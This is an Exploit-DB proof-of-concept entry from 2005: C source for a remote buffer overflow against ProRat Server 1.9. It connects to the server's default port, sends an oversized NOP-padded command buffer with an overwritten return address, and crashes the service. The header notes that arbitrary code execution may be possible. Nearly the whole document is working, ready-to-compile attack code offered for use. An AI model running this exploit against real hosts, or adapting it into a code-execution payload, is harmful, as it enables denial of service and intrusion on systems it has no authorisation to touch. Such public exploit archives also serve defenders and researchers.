Exploit-DB #1127
Description: ProRat Server 1.9 (Fix-2) - Buffer Overflow / Crash (PoC)
Type: dos
Platform: windows
Date: 2005-08-01
Author: evil dabus

Exploit:
/* if this worked for you send me an email.
 /str0ke */

/******************************************************************************************

	ProRat Server Buffer Overflow Crash POC
	http://www.prorat.net/products.php?product=ProRat

	Discovered and Coded by evil dabus
	e-mail:	evil_dabus [at] yahoo.com

	Tested on ProRat Server version 1.9 (Fix-2) Public Edition
        on a Windows XP Professional sp2 operating system.

	This exploit connects to the ProRat server (default port 5110) and sends
        a long null command string.
	After the exploit send, the ProRat Server will crash, trying to access
	to a bad memory address: 0x41414141.
        Remote users are able to  cause  the  server to  crash or potentially
        execute arbitrary code.

*******************************************************************************************/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

#define BUFSIZE                 0x280
#define NOP                     0x90
#define PORT                    5110                            // default port
#define RET_ADDR                "\x41\x41\x41\x41"              // crash
#define NULL_PING_COMMAND       "\x30\x30\x30\x30\x30\x30"

void
banner() {
        printf("- ProRat v1.9:Fix-2 remote buffer overflow\n");
	printf("- Coded by evil dabus (evil_dabus [at] yahoo.com)\n");
}
void
usage(char *prog) {
        banner();

        printf("- Usage: %s <target ip> [target port]\n", prog);
        printf("\n");

        exit(1);
}

void
main(int argc, char *argv[])
{
        WSADATA wsaData;
        struct hostent *pTarget;
        struct sockaddr_in sock;
        SOCKET s;
        int iPort = PORT;
        char szRecvBuf[BUFSIZE+1];
        char szExpBuff[BUFSIZE];

        if (argc < 2)   usage(argv[0]);
        if (argc==3)    iPort = atoi(argv[2]);

        printf("\n[+] Initialize windows sockets.");
        if (WSAStartup(MAKEWORD(2,0), &wsaData) < 0) {
                printf("\n[-] WSAStartup failed! Exiting...");
                return;
        }

        printf("\n[+] Initialize socket.");
        s = socket(AF_INET, SOCK_STREAM	, 0);
        if(s == INVALID_SOCKET){
                printf("\n[-] Error socket. Exiting...");
                exit(1);
        }

        printf("\n[+] Resolving host info.");
        if ((pTarget = gethostbyname(argv[1])) == NULL) {
                printf("\n[-] Resolve of %s failed.", argv[1]);
                exit(1);
        }
        memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
        sock.sin_family = AF_INET;
        sock.sin_port = htons(iPort);

        printf("\n[+] Prepare exploit buffer... ");
        memset(szExpBuff,NOP,BUFSIZE);
        memcpy(szExpBuff,NULL_PING_COMMAND,sizeof(NULL_PING_COMMAND)-1);
        memcpy(szExpBuff+576,RET_ADDR,sizeof(RET_ADDR)-1);

        printf("\n[+] Connecting to %s:%d ... ", argv[1],iPort);
        if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) ))){
                printf("\n[-] Sorry, cannot connect to %s:%d. Try again...", argv[1],iPort);
                exit(1);
        }

        printf("\n[+] OK.");
        if ( recv(s, szRecvBuf, BUFSIZE+1, 0) == 0 ) {
                printf("\n[-] Error response server. Exiting...");
                exit(1);
        }

        Sleep(1000);
        printf("\n[+] Sending exploit buffer. size: %d",sizeof(szExpBuff));
        if (send(s,szExpBuff, sizeof(szExpBuff)+1, 0) == -1){
                printf("\n[-] Send failed. Exiting...");
                exit(1);
        }

        Sleep(1000);
        printf("\n[+] OK.\n");
        printf("\n[*] Now try to connect to the server");

        closesocket(s);
        WSACleanup();
}

// milw0rm.com [2005-08-01]